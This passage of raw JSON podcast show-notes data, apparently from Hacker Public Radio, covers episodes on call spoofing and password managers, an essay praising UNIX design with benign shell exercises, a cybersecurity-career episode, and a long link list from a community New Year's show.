                                                            FCC Call Blocking info: Call blocking is a tool used by phone companies to stop illegal and unwanted calls from reaching your phone. A second annual FCC report released in June 2021 found that many voice service providers and third-party analytics companies are improving their call blocking and labeling services and use new data to better detect robocalls. Billions of unwanted calls to American consumers are being blocked each year.

                                                            \n

                                                            The PinePhone Pro Explorer Edition is aimed at Linux developers with an extensive knowledge of embedded systems and/or experience with mobile Linux.

                                                            \n

                                                            Time-based one-time password (TOTP) is a computer algorithm that generates a one-time password (OTP) that uses the current time as a source of uniqueness. As an extension of the HMAC-based one-time password algorithm (HOTP), it has been adopted as Internet Engineering Task Force (IETF) standard RFC 6238.

                                                            \n

                                                            Matrix is an open standard for interoperable, decentralised, real-time communication over IP.

                                                            \n
                                                            \n

                                                            Password Managers: Used by Some Guy On The Internet.
                                                            \nBitwarden
                                                            \nKeePassXC

                                                            \n
                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Tin hat, call spoofing","version":0,"downloads":0,"valid":1}, {"id":3665,"date":"2022-08-19","title":"UNIX Is Sublime","duration":3586,"summary":"I talk about all of the reasons I love UNIX","notes":"

                                                            UNIX is sublime

                                                            \n
                                                            Or, \"how to use a computer without hating yourself for it in the morning\"
                                                            \n
                                                            Or, \"Unix is basically a simple operating system . . .\"
                                                            \n
                                                            Or, \"My weariness and disdain for computers grow with each additional unit of knowledge\"
                                                            \n
                                                            Or, \"Worse is better\"
                                                            \n

                                                            Origins

                                                            \n

                                                            UNIX is not Multics

                                                            \n

                                                            Multics = Multiplexed Information and Computer Service

                                                            \n

                                                            UNIX = Uniplexed Information and Computing Service

                                                            \n

                                                            The name 'UNIX' is a pun on the name 'Multics'. Multics was entirely too large and complicated to be useful so the boys at Bell Labs cooked up something smaller, less complicated, and easier to use.

                                                            \n
                                                            \n

                                                            Ancient emulation interlude

                                                            \n

                                                            How to run Multics in 2022.

                                                            \n

                                                            This wiki helped me emulate UNIXv5.

                                                            \n

                                                            And this one helped me emulate UNIXv7.

                                                            \n

                                                            These guys host ancient systems accessible via guest accounts over ssh.

                                                            \n
                                                            \n

                                                            \"Cool, but useless.\"

                                                            \n
                                                            \n
                                                            \n

                                                            I know almost nothing about Multics and I'm not sure if it's even worth learning. This is about UNIX, not Multics. Maybe I'll come back to it.

                                                            \n

                                                            Philosophy, implementations, ducks

                                                            \n

                                                            When I think of \"UNIX\", I do not think of the trademark. Instead, I think of the Unix philosophy. and the general design principles, interface, and behavior of a UNIX system.

                                                            \n

                                                            A better way of thinking about \"UNIX\" is as something \"POSIX-like\" rather than \"AT&T's commercial UNIX\". Example: although Linux and GNU are overly complicated, they pass the duck test for being a UNIX. Pedigree or not, you know a nix when you see one.

                                                            \n

                                                            Also, when I say \"UNIX\", I mean \"Free UNIX\". I have no interest in proprietary implementations that only exist for the purpose of restricting users and disempowering/discouraging sysadmins from becoming self-reliant.

                                                            \n

                                                            So what is the philosophy?

                                                            \n
                                                              \n
                                                            • Do one thing and do it well
                                                            • \n
                                                            • Design programs that work together using text as the common interface
                                                            • \n
                                                            • KISS: Keep it simple, stupid
                                                            • \n
                                                            • Test early, test often
                                                            • \n
                                                            \n

                                                            And additionally:

                                                            \n
                                                              \n
                                                            • everything is a file or a process
                                                            • \n
                                                            \n

                                                            Design

                                                            \n

                                                            10,000 Ft View

                                                            \n

                                                            UNIX is a multiuser time sharing networked operating system, running as an always online service. A UNIX system is a single mainframe computer running an operating system designed for multiple users to access concurrently over the network, equally (depending on implementation) sharing resources amongst the active users.

                                                            \n

                                                            In a traditional network setup, there is one mainframe UNIX machine with multiple dumb terminals connected to it over the network. None of the users touch the mainframe physically. Instead, they interact with it exclusively through their own dumb terms. These dumb terminals have minimal or no computing power of their own because all of the actual computation takes place on the mainframe. Built in networking is a given.

                                                            \n

                                                            As for the actual software running on the mainframe, it's quite simple to visualize. A Unix system is a flexible but organized stack of concepts, each depending on the concept below, all working together for the sole purpose of enabling the end user to play video games and watch videos online.

                                                            \n
                                                                   / user applications \\\n      /       shells        \\\n     /        daemons        \\\n    /       file systems      \\\n   /        kmods/drivers      \\\n  /           syscalls          \\\n /             kernel            \\\n/             hardware            \\\n
                                                            \n

                                                            In order to fully explain why UNIX is sublime, I will start from the bottom and work my way upward. Before I discuss the shell, I will explain the multiuser aspects of the system. Then, after a long arduous journey of verbosity, explain how to actually use the thing.

                                                            \n

                                                            Kernel

                                                            \n

                                                            The kernel is something the user rarely interacts with. It abstracts all the hard parts away from the user. No more poking random memory addresses to load a program from tape.

                                                            \n

                                                            Multitasking

                                                            \n

                                                            In order to support multiple users, resource sharing was implemented. When a user's process requests CPU time, it's put into a rotational queue along with the other requests for CPU time. Round robin style concurrency is one of the easiest to implement but most modern systems use a weighted model that prioritizes processes owned by specific users. Memory and disk space are typically assigned hard limits to prevent system crashes. \"Ask your sysadmin if you need more resources.\"

                                                            \n

                                                            Virtual Memory

                                                            \n

                                                            Abstracting memory management from users is almost necessary in a multitasking system. The kernel must be the arbiter of all. The most interesting thing about virtual memory is that it doesn't actually need to be a RAM stick, but can be a swap partition on a disk or even a remote cloud provider if you've actually lost your mind. This type of flexibility improves system stability. Instead of a kernel panic when memory runs out, the kernel can de-prioritize nonessential or idle processes by sending them to swap space.

                                                            \n

                                                            Paged Memory (logical memory)

                                                            \n

                                                            No more fragmented memories! The kernel maintains a page table that maps logical locations to physical locations. Instead one continuous chunk of memory, the kernel divides memory into small sections called \"pages\". When allocating memory, the kernel might not give a process continuous pages. The advantage of a paged memory scheme further enables multiuser computing. Example: When you have a large program like a web browser open, the pages that contains the unfocused tabs can be swapped out to disk without stalling the entire browser.

                                                            \n

                                                            Programming Interface pt. 0 (syscalls, kmods, drivers)

                                                            \n

                                                            When a process requests a resource, it sends a syscall to the kernel. The kernel then responds to the system call. This allows for privilege separation. Does your web browser need direct access to all memory? What about all files? Do we even want to write assembly every time we want to access a file? Syscalls are dual purpose: abstraction and security.

                                                            \n

                                                            Kernel modules are dynamic \"extensions\" that give the kernel new features (typically hardware support). The ability to dynamically load/unload modules as hardware changes increases uptime because it means a new kernel doesn't need to be compiled, installed, and booted into every time we plug in a different peripheral.

                                                            \n

                                                            Filesystem

                                                            \n

                                                            Hierarchical structure

                                                            \n

                                                            A UNIX filesystem is hierarchical. Each directory contains files or other directories, each with a specific purpose. This type of organization makes it very easy to navigate and manage a system. Each child directory inherits ownership and permissions unless otherwise specified (see Access Control).

                                                            \n

                                                            In order to visualize this, I imagine a tree-like structure descending from the root directory, /. The tree(1) program shows this type of hierarchy.

                                                            \n

                                                            Virtual Filesystems (logical filesystem)

                                                            \n

                                                            The idea behind virtual filesystems is, again, abstraction. Using the concept of a virtual file system, multiple disks can be presented to the user and programmer as a single unified filesystem. This means mounted local disks, NFS shares, and even the contents of a CDROM are presented as if the files contained therein are \"just on the big hard drive\".

                                                            \n

                                                            Additionally, using bind mounts, a directory can be mounted onto another directory as if it were just another filesystem.

                                                            \n

                                                            The final interesting thing about virtual filesystems is the concept of a ramdisk: mounting a section of memory so that it can be used as if it was an ordinary directory. <--Shoot foot here.

                                                            \n

                                                            Everything is a file

                                                            \n

                                                            Well, almost everything is presented as if it were a file. This greatly simplifies programming.

                                                            \n

                                                            Prime example: /dev/urandom is a random entropy generator presented as a file, making it very simple for a programmer to implement seeded RNG in a program.

                                                            \n

                                                            Another example: The kernel translates mouse input into a data stream that can be opened as a file. The programmer only needs to read from /dev/mouse0 instead of writing hundreds of mouse drivers for a clicky GUI.

                                                            \n

                                                            Exercise 1: Try running this command then wiggling your mouse:

                                                            \n
                                                            # Linux\n$ sudo cat /dev/input/mouse0\n\n# FreeBSD\n$ sudo cat /dev/sysmouse\n
                                                            \n

                                                            Yet another example: the TTY is just a file. You can even print it to a text file using setterm(1) on Linux.

                                                            \n

                                                            Exercise 2:

                                                            \n
                                                            [user@fedora ~]$ sudo setterm --dump 3\n[user@fedora ~]$ cat screen.dump\n\nFedora Linux 36 (Workstation Edition)\nKernel 5.18.5-200.fc36.x86_64 on an x86_64 (tty3)\n\nfedora login: root\nPassword:\nLast login: Sat Jul 30 14:34:20 on tty3\n[root@fedora ~]# /opt/pfetch/pfetch\n        ,'''''.   root@fedora\n       |   ,.  |  os     Fedora Linux 36 (Workstation Edition)\n       |  |  '_'  host   XXXXXXXXXX ThinkPad T490\n  ,....|  |..     kernel 5.18.5-200.fc36.x86_64\n.'  ,_;|   ..'    uptime 20d 22h 40m\n|  |   |  |       pkgs   3910\n|  ',_,'  |       memory 6522M / 15521M\n '.     ,'\n   '''''\n\n[root@fedora ~]#\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[user@fedora ~]$\n
                                                            \n

                                                            Links

                                                            \n

                                                            Yet another way of \"mounting\" a file or directory to another file or directory is linking. There are two types of links: hard links and symbolic links.

                                                            \n

                                                            On UNIX, files are indexed by inodes (index nodes). Using links, we can make \"shortcuts\" to files.

                                                            \n

                                                            Hard linking adds a \"new index\" to a file. They share an inode. If the original file is removed, the file persists in storage because the secondary file created by a hard link still exists. Think \"different name, same file\"

                                                            \n

                                                            Symlinks are like pointers. A symlink points to the original file instead of the inode. If you remove the original file, the symlink breaks because it points to a file that points to an inode rather than simply pointing to an inode.

                                                            \n

                                                            Using links, we can make files more convenient to access as if we are \"copying\" files without actually copying files.

                                                            \n

                                                            Filename extensions

                                                            \n

                                                            On a UNIX system, file extensions are arbitrary. UNIX determines file type by reading the file headers. The file tells you exactly what type of file it is (just read it). The entire system does not break when a file extension doesn't match the expected contents of the file.

                                                            \n

                                                            Extensions only matter when you wilfully associate with the microsoft users leaving issues on your software repos. \"Not my OS, not my issue, it's open source so fork it if you don't like it\"

                                                            \n

                                                            Multiuser (timesharing)

                                                            \n

                                                            See also: Multitasking.

                                                            \n

                                                            Exercise 3: attempt to use Windows like a multiuser operating system and get back to me when you have realized that any and all claims made by microsoft about how their \"multi user enterprise system\" is in any way capable of competing with a genuine multi-user UNIX system are false advertising.

                                                            \n

                                                            Users, Groups

                                                            \n

                                                            A multiuser system needs a way to manage users and categorize them for access control purposes. Every user has a single user account and belongs to 0 or more groups. Sorting users into groups at the time of account creation makes is significantly easier than granting/revoking permissions user-by-user. Additionally, using something like rctl(8) on FreeBSD allows a systems administrator to allocate resources to specific users, groups, or login classes (like groups).

                                                            \n

                                                            Daemons (services)

                                                            \n

                                                            On a UNIX system, every process is owned by a user. In the case of a service, the process is owned by a daemon account. Daemon accounts have limited permissions and make it possible to run persistent services as a non-root user.

                                                            \n

                                                            Access Control

                                                            \n

                                                            Since UNIX was designed to be a multiuser system, access control is required. We know about users, we know about groups, but what about permissions?

                                                            \n

                                                            There are three types of operations that can be done to a file: read, write, and execute. Who can the admin grant these permissions to? The Owner, the Group, and the Other (all). This type of access control is called discretionary access control because the owner of the file can modify files at their own discretion.

                                                            \n

                                                            Actually using the thing

                                                            \n

                                                            Programming interface Pt. 1 (data streams)

                                                            \n

                                                            All UNIX utilities worth using use 3 data streams:

                                                            \n
                                                              \n
                                                            • stdin\n
                                                                \n
                                                              • read from it the same way you read from a file
                                                              • \n
                                                            • \n
                                                            • stdout\n
                                                                \n
                                                              • print to it the same way you print to a terminal (file)
                                                              • \n
                                                            • \n
                                                            • stderr\n
                                                                \n
                                                              • print to it the same way print to a file, read from it the same way you read from a file
                                                              • \n
                                                            • \n
                                                            • env vars if you're a CGI programmer
                                                            • \n
                                                            \n

                                                            Shell

                                                            \n

                                                            The shell is how a user actually interacts with a UNIX system. It's a familiar interface that allows a human user to interact with a computer using real human language.

                                                            \n

                                                            Explicitly telling the computer to do is infinitely less agonizing than dealing with a computer that tries to do what it thinks you want it to do by interpreting input from a poorly designed, overly engineered interface.

                                                            \n

                                                            The shell, in addition to being an interactive interface, is also scriptable. Although math is a struggle, shell scripting is a fairly simple way of automating tasks. Taping together interoperable commands you already know makes everything easier. My favorite aspect about writing POSIX shell scripts is knowing that shell is a strongly, statically typed language where the only datatype is string.

                                                            \n

                                                            Problem that are difficult or messy to solve in shell usually mean it's time to write another small C program for your specific needs. Adding the new program into the shell pipeline is trivial.

                                                            \n

                                                            Pipes

                                                            \n

                                                            Pipes, the concept that makes UNIX so scriptable. A shell utility that follows the UNIX philosophy will have a non-captive interface, write uncluttered data to stdout, read from stdin, and error to stderr. The | pipe character instructs programs to send their stdout to the next stdin in the pipeline instead of printing to the terminal.

                                                            \n

                                                            All standard command line utilities are interoperable and can be easily attached like building blocks. \"Meta programming\" has never been easier.

                                                            \n

                                                            Pipes make it so that every UNIX program is essentially a filter. Sure, you could just use awk, but I prefer shell.

                                                            \n

                                                            Bonus:

                                                            \n
                                                              \n
                                                            • plaintext configuration files
                                                            • \n
                                                            • All logs are pretty much just a .csv
                                                            • \n
                                                            • OS vendor doesn't force you to upgrade to a newer version of spyware
                                                            • \n
                                                            • modular design means explorer.exe crashes don't take down your entire IT infrastructure
                                                            • \n
                                                            • Portable design means write once, run everywhere with minimal effort
                                                            • \n
                                                            \n

                                                            Summary:

                                                            \n

                                                            UNIX is a non-simple modular operating system designed for 1970s big iron mainframes but we love it too much to let it go. Compared to minimal hobbyist operating systems, UNIX is BIG. Compared to commercial operating systems, free UNIX is small. Maybe slightly more than minimum viable but the papercuts are mild enough to forgive.

                                                            \n

                                                            See Also:

                                                            \n

                                                            The UNIX-HATERS Handbook

                                                            \n","hostid":406,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"UNIX","version":0,"downloads":0,"valid":1}, {"id":3666,"date":"2022-08-22","title":"One Weird Trick","duration":997,"summary":"I talk about getting into or advancing in cybersecurity & how keyboards could trick malware.","notes":"

                                                            In this episode, I talk about getting in to the field of cybersecurity or moving up in the field. I also talk about how keyboards could keep malware from going Boom on your system.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"cybersecurity,security,EvilSteve,malware, career","version":0,"downloads":0,"valid":1}, {"id":3667,"date":"2022-08-23","title":"2021-2022 New Years Show Part 2","duration":11268,"summary":"The HPR community comes together to chat","notes":"

                                                            Hacker Public Radio New Years Eve Show 2021 - 2022

                                                            \n

                                                            Part 2

                                                            \n

                                                            Massachusetts MCAS Tests

                                                            \n

                                                            https://www.doe.mass.edu/mcas/

                                                            \n

                                                            A Level Test mention -

                                                            \n

                                                            http://www.gostudyuk.com/a-levels-and-equivalents/

                                                            \n

                                                            COVID-19: quarantine, masks, vaccination, testing, etc.

                                                            \n

                                                            Michael Mina @michaelmina_lab

                                                            \n

                                                            https://twitter.com/michaelmina_lab

                                                            \n

                                                            West Virginia & Kentucky Accents

                                                            \n

                                                            https://www.dialectsarchive.com/west-virginia

                                                            \n

                                                            https://www.dialectsarchive.com/kentucky

                                                            \n

                                                            Netminer talks about being a security guard & Security Guard tools of the trade

                                                            \n

                                                            Detex Clock

                                                            \n

                                                            https://www.watchmanclocks.com/productdetails.aspx?ProductID=56

                                                            \n

                                                            Mag light flashlight

                                                            \n

                                                            https://maglite.com/

                                                            \n

                                                            Ohio Linux Fest

                                                            \n

                                                            https://olfconference.org/

                                                            \n

                                                            Not Curses

                                                            \n

                                                            https://notcurses.com/notcurses.3.html

                                                            \n

                                                            Sixel

                                                            \n

                                                            https://en.wikipedia.org/wiki/Sixel

                                                            \n

                                                            The Book Of Boba Fett

                                                            \n

                                                            https://www.imdb.com/title/tt13668894/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett

                                                            \n

                                                            Under The Helmet : The Legacy of Boba Fett

                                                            \n

                                                            https://www.imdb.com/title/tt15715890/

                                                            \n

                                                            Mordancy talks about Mark from Command Line Magic

                                                            \n

                                                            Command Line Magic Homepage - http://www.climagic.org/

                                                            \n

                                                            Command Line Magic Youtube - https://www.youtube.com/user/climagic/videos

                                                            \n

                                                            Command Line Magic Twitter - https://twitter.com/climagic

                                                            \n

                                                            Command Line Magic Mastadon - https://mastodon.social/@climagic

                                                            \n

                                                            Mordancy also suggests

                                                            \n

                                                            https://www.commandlinefu.com/commands/browse

                                                            \n

                                                            https://explainshell.com/

                                                            \n

                                                            More Website Suggestions

                                                            \n

                                                            Regex Crossword is a crossword puzzle game, where the crossword clues are defined using regular expressions

                                                            \n

                                                            https://regexcrossword.com

                                                            \n

                                                            Learn VIM while playing a game

                                                            \n

                                                            https://vim-adventures.com/

                                                            \n

                                                            Tennesee Valley Authority

                                                            \n

                                                            https://www.tva.com/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Tennessee_Valley_Authority

                                                            \n

                                                            West Virginia Coal Mines

                                                            \n

                                                            https://www.americangeosciences.org/critical-issues/maps/interactive-map-coal-mines-west-virginia

                                                            \n

                                                            Nuclear Power Plants in the USA

                                                            \n

                                                            https://en.wikipedia.org/wiki/Nuclear_power_in_the_United_States

                                                            \n

                                                            https://www.eia.gov/tools/faqs/faq.php?id=207&t=3

                                                            \n

                                                            Moss Wants to Build a Pi Hole

                                                            \n

                                                            https://pi-hole.net/

                                                            \n

                                                            Take The Long Way Home (SuperTramp)

                                                            \n

                                                            https://youtu.be/zKGOCOAI_2c

                                                            \n

                                                            Push To Talk Mumble Settings

                                                            \n

                                                            https://www.mumble.com/support/mumble-server-push-to-talk.php

                                                            \n

                                                            Dont use Balena Etcher, try instead https://bztsrc.gitlab.io/usbimager/ USBImager is a really really simple GUI application that writes compressed disk images to USB drives and creates backups. Available platforms: Windows, MacOS and Linux. Its interface is as simple as it gets, totally bloat-free. It is very small below 300 KB compared to more the than 130 MB of Etcher.

                                                            \n

                                                            A Maintenance Tool For Ubuntu

                                                            \n

                                                            uCareSystem Core basic

                                                            \n

                                                            https://ostechnix.com/ucaresystem-core-basic-maintenance-tool-ubuntu/

                                                            \n

                                                            https://github.com/Utappia/uCareSystem

                                                            \n

                                                            To get rid of old kernels with no work - just paste in the commandline

                                                            \n
                                                            echo $(dpkg --list | grep linux-image | awk '{ print $2 }' | sort -V | sed -n '/'`uname -r`'/q;p') $(dpkg --list | grep linux-headers | awk '{ print $2 }' | sort -V | sed -n '/'"$(uname -r | sed "s/\\([0-9.-]*\\)-\\([^0-9]\\+\\)/\\1/")"'/q;p') | xargs echo sudo apt-get -y purge\n
                                                            \n

                                                            the result is a sudo command to remove old kernels. And finally this one:

                                                            \n
                                                            sudo apt autoremove && sudo apt autoclean && sudo apt clean
                                                            \n

                                                            Moss talks about ArcoLinux

                                                            \n

                                                            https://arcolinux.com/

                                                            \n

                                                            Minnix uses Funk Whale

                                                            \n

                                                            https://funkwhale.audio/

                                                            \n

                                                            Moss announces the passing of Betty White - RIP

                                                            \n

                                                            https://www.cnn.com/2022/01/10/entertainment/betty-white-cause-of-death/index.html

                                                            \n

                                                            https://www.rollingstone.com/tv-movies/tv-movie-news/betty-white-dead-obituary-197806/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Golden_Girls

                                                            \n

                                                            https://www.grunge.com/659496/the-truth-about-betty-whites-guinness-world-record/

                                                            \n

                                                            The guys mention - Ultramarines : A Warhammer 40k movie

                                                            \n

                                                            https://en.wikipedia.org/wiki/Ultramarines:_A_Warhammer_40,000_Movie

                                                            \n

                                                            https://youtu.be/3fpvOyD5Jr0

                                                            \n

                                                            Warhammer Cosplay

                                                            \n

                                                            https://youtu.be/9RpfpSyWGhk

                                                            \n

                                                            https://youtu.be/VZ8_aU0G094

                                                            \n

                                                            https://www.belloflostsouls.net/2020/08/40k-cosplay-the-ultramarine-by-upw-designs.html

                                                            \n

                                                            https://www.instructables.com/Warhammer-40K-Tech-Priest-Cosplay-SKS-Props/

                                                            \n

                                                            Matrix Movie (Matrix Resurrections) + other NPH (Neil Patrick Harris) films

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Matrix_Resurrections

                                                            \n

                                                            https://www.imdb.com/title/tt10838180/

                                                            \n

                                                            8-Bit Christmas

                                                            \n

                                                            https://www.imdb.com/title/tt11540284/

                                                            \n

                                                            Doctor Horrible's Sing-Along

                                                            \n

                                                            https://www.imdb.com/title/tt1227926/

                                                            \n

                                                            Bruce Campbell in Black Friday + other Bruce projects

                                                            \n

                                                            https://www.imdb.com/title/tt11649338/

                                                            \n

                                                            Deadite (Evil Dead films)

                                                            \n

                                                            https://evildead.fandom.com/wiki/Deadite

                                                            \n

                                                            Burn Notice

                                                            \n

                                                            https://www.imdb.com/title/tt0810788/

                                                            \n

                                                            The Adventures of Brisco County Jr.

                                                            \n

                                                            https://www.imdb.com/title/tt0105932/

                                                            \n

                                                            Burn Notice Movie - The Fall of Sam Axe

                                                            \n

                                                            https://www.imdb.com/title/tt1697851/

                                                            \n

                                                            Ash Vs Evil Dead (TV Series)

                                                            \n

                                                            https://www.imdb.com/title/tt4189022/

                                                            \n

                                                            https://evildead.fandom.com/wiki/Ash_vs_Evil_Dead

                                                            \n

                                                            Christian Clemenson

                                                            \n

                                                            https://www.imdb.com/name/nm0166061/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Christian_Clemenson

                                                            \n

                                                            Freddie Highmore

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Good_Doctor_(TV_series)

                                                            \n

                                                            https://www.imdb.com/title/tt6470478/

                                                            \n

                                                            Chat about Lenovo ThinkCentre Products

                                                            \n

                                                            https://pcsupport.lenovo.com/us/en/products/desktops-and-all-in-ones/thinkcentre-m-series-desktops/thinkcentre-m58

                                                            \n

                                                            https://www.lenovo.com/in/en/desktops/thinkcentre/m-series-sff/m83/

                                                            \n

                                                            https://www.lenovo.com/gb/en/desktops-and-all-in-ones/thinkcentre/m-series-tiny/M700-Tiny/p/11TC1MTM700

                                                            \n

                                                            Moss Plugs - https://itsmoss.com/ and talks about installing Linux on his ThinkCentre

                                                            \n

                                                            https://itsmoss.com/2021/12/22/installing-linux-on-a-thinkcentre-tiny-m700/

                                                            \n

                                                            A Deeper Dive Into Funk Whale

                                                            \n

                                                            https://funkwhale.audio/

                                                            \n

                                                            https://funkwhale.audio/en_GB/faqs#decentralized-and-federated

                                                            \n

                                                            https://wiki.archlinux.org/title/Funkwhale

                                                            \n

                                                            https://twitter.com/funkwhaleaudio

                                                            \n

                                                            Peer Tube - Free software to take back control of your videos

                                                            \n

                                                            https://joinpeertube.org/

                                                            \n

                                                            https://twitter.com/joinpeertube

                                                            \n

                                                            Joe and Danny talk 3-D Printing & Core XY Printers

                                                            \n

                                                            Voron Design

                                                            \n

                                                            https://vorondesign.com/

                                                            \n

                                                            The Best CoreXY 3D Printers in 2022

                                                            \n

                                                            https://all3dp.com/1/best-corexy-3d-printer/

                                                            \n

                                                            The Voron 2.4 Build Experience

                                                            \n

                                                            https://youtu.be/0E0dM0ZdpRE

                                                            \n

                                                            Core XY Explained

                                                            \n

                                                            https://youtu.be/_ramiM3KHYE

                                                            \n

                                                            Volcano Hot End & Block

                                                            \n

                                                            https://e3d-online.com/products/volcano-hotend

                                                            \n

                                                            https://e3d-online.com/products/volcano-block-for-sensor-cartridges

                                                            \n

                                                            CES 2022

                                                            \n

                                                            https://www.ces.tech/About-CES.aspx

                                                            \n

                                                            Danny gives a thumbs up to the Android Playstation 2 Emulator - Aethersx2

                                                            \n

                                                            https://play.google.com/store/apps/details?id=xyz.aethersx2.android

                                                            \n

                                                            X-Files : Resist Or Serve for the Playstation 2

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_X-Files:_Resist_or_Serve

                                                            \n

                                                            Walkthrough for X-Files : Resist Or Serve

                                                            \n

                                                            https://youtu.be/_1DoMfufliQ

                                                            \n

                                                            PCSX2 - An Open-Source Playstation 2 Emulator supporting over 98% Of the PS2 library

                                                            \n

                                                            https://pcsx2.net/

                                                            \n

                                                            GTA Vice City

                                                            \n

                                                            https://www.rockstargames.com/games/vicecity

                                                            \n

                                                            Armored Core : Masters Of Arena

                                                            \n

                                                            https://armoredcore.fandom.com/wiki/Armored_Core:_Master_of_Arena

                                                            \n

                                                            http://www.cheatcodes.com/guide/walkthrough-armored-core-master-of-arena-playstation-16686/

                                                            \n

                                                            Joe Has Some Tech Repairs to Do

                                                            \n

                                                            Playstation 3 that needs the optical drive repaired

                                                            \n

                                                            https://www.ifixit.com/Guide/PlayStation+3+Blu-ray+Disc+Drive+Replacement/3484

                                                            \n

                                                            Xbox 360 Drive replacement

                                                            \n

                                                            https://www.ifixit.com/Guide/Xbox+360+Optical+Drive+Replacement/3358

                                                            \n

                                                            Skullcandy HESH 3 Battery Replacement

                                                            \n

                                                            https://youtu.be/PLM7wfTCzms (generic headphone battery replacement video)

                                                            \n

                                                            LG Tone Repair

                                                            \n

                                                            https://youtu.be/DJvzWsT_ESY

                                                            \n

                                                            Open Razer

                                                            \n

                                                            https://openrazer.github.io/

                                                            \n

                                                            Clonezilla has built in SSH support

                                                            \n

                                                            https://clonezilla.org/

                                                            \n

                                                            Radio Shack reviving, rebranding into cryptocurrency platform

                                                            \n

                                                            https://www.foxbusiness.com/markets/radioshack-rebrands-cryptocurrency-exchange-platform

                                                            \n

                                                            https://www.nbcnews.com/pop-culture/pop-culture-news/radioshack-clarify-twitter-wasnt-hacked-just-sell-crypto-now-rcna36112

                                                            \n

                                                            Deal Extreme

                                                            \n

                                                            https://www.dx.com/

                                                            \n

                                                            Brick & Mortar Computer Stores Past & Present

                                                            \n

                                                            COMP USA

                                                            \n

                                                            https://www.compusa.com/

                                                            \n

                                                            Fry's Electronics

                                                            \n

                                                            https://www.frys.com/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Fry%27s_Electronics

                                                            \n

                                                            Micro Center

                                                            \n

                                                            https://www.microcenter.com/

                                                            \n

                                                            Tiger Direct

                                                            \n

                                                            https://www.tigerdirect.com/

                                                            \n

                                                            Ben Heck & Oscilloscopes

                                                            \n

                                                            https://youtu.be/RuC8XmDX9iA

                                                            \n

                                                            Mordancy has projects

                                                            \n

                                                            https://www.proxmox.com/en/

                                                            \n

                                                            https://www.docker.com/

                                                            \n

                                                            https://jitsi.org/

                                                            \n

                                                            https://joinpeertube.org/

                                                            \n

                                                            https://matrix.org/

                                                            \n

                                                            https://bitbucket.org/product

                                                            \n

                                                            F(x)tec Pro¹ Phone

                                                            \n

                                                            https://www.fxtec.com/

                                                            \n

                                                            Joe and Mordancy chat Cryptocurrency

                                                            \n

                                                            https://www.investopedia.com/terms/c/cryptocurrency.asp

                                                            \n

                                                            Nishant gives up Windows for Fedora

                                                            \n

                                                            https://getfedora.org/en/workstation/download/

                                                            \n

                                                            Linux LPIC Certifications

                                                            \n

                                                            https://www.lpi.org/our-certifications/summary-of-certifications

                                                            \n

                                                            https://www.lpi.org/our-certifications/lpic-1-overview

                                                            \n

                                                            https://www.lpi.org/our-certifications/lpic-2-overview

                                                            \n

                                                            ITIL Certification

                                                            \n

                                                            https://www.axelos.com/certifications/itil-service-management

                                                            \n

                                                            3M PELTOR ComTac™ VI Hearing Defender

                                                            \n

                                                            https://www.3m.com/3M/en_US/p/d/v100849027/

                                                            \n

                                                            TP-120 Socket

                                                            \n

                                                            https://connectors.nexus.com/item/telephone-plugs-and-jacks/telephone-plugs/tp-120

                                                            \n

                                                            Fluke 107 Pocket Digital Multimeter

                                                            \n

                                                            https://www.fluke.com/en-us/product/electrical-testing/digital-multimeters/pocket-107

                                                            \n

                                                            Razer Nari Ultimate Headset

                                                            \n

                                                            https://www.razer.com/gaming-headsets/razer-nari-ultimate/RZ04-02670100-R3U1

                                                            \n

                                                            Garuda Linux

                                                            \n

                                                            https://garudalinux.org/

                                                            \n

                                                            Centos

                                                            \n

                                                            https://www.centos.org/

                                                            \n

                                                            FreeBSD

                                                            \n

                                                            https://www.freebsd.org/

                                                            \n

                                                            Q-tile - A full-featured, hackable tiling window manager written and configured in Python

                                                            \n

                                                            http://www.qtile.org/

                                                            \n

                                                            Adam WIlliamson - Fedora Team

                                                            \n

                                                            https://fedoraproject.org/wiki/User:Adamwill

                                                            \n

                                                            https://www.happyassassin.net/

                                                            \n

                                                            https://twitter.com/adamw_ha

                                                            \n

                                                            https://fedoramagazine.org/fedora-qa-adam-williamson/

                                                            \n

                                                            Raspberry Pi Price Jump

                                                            \n

                                                            https://www.tomshardware.com/news/raspberry-pi-4-supply-issues

                                                            \n

                                                            Headphone Repair Chat

                                                            \n

                                                            BeyerDynamic DT770

                                                            \n

                                                            https://www.sweetwater.com/store/detail/DT770pro80--beyerdynamic-dt-770-pro-80-ohm-closed-back-studio-mixing-headphones

                                                            \n

                                                            Audio Technica ATH-M50X

                                                            \n

                                                            https://www.audio-technica.com/en-us/ath-m50x

                                                            \n

                                                            HP Thin Client Model T6xx (watch for them on Ebay)

                                                            \n

                                                            https://support.hp.com/us-en/document/c06433828

                                                            \n

                                                            Firefox Phone

                                                            \n

                                                            https://firefoxosdevices.org/en/#type:smartphones|coming-devices:yes

                                                            \n

                                                            https://en.wikipedia.org/wiki/Firefox_OS

                                                            \n

                                                            Love 2D Gaming Engine

                                                            \n

                                                            https://love2d.org/

                                                            \n

                                                            Roblox

                                                            \n

                                                            https://www.roblox.com/

                                                            \n

                                                            Minecraft

                                                            \n

                                                            https://www.minecraft.net/en-us

                                                            \n

                                                            Alpine Linux

                                                            \n

                                                            https://www.alpinelinux.org/

                                                            \n

                                                            Rick & Morty

                                                            \n

                                                            https://rickandmorty.fandom.com/wiki/Rick_and_Morty_(TV_series)

                                                            \n

                                                            Gravity Falls

                                                            \n

                                                            https://en.wikipedia.org/wiki/Gravity_Falls

                                                            \n

                                                            Final Space

                                                            \n

                                                            https://en.wikipedia.org/wiki/Final_Space

                                                            \n

                                                            Peter Cushing Dr. Who movies

                                                            \n

                                                            https://tardis.fandom.com/wiki/Peter_Cushing

                                                            \n

                                                            https://en.wikipedia.org/wiki/Dr._Who_and_the_Daleks

                                                            \n

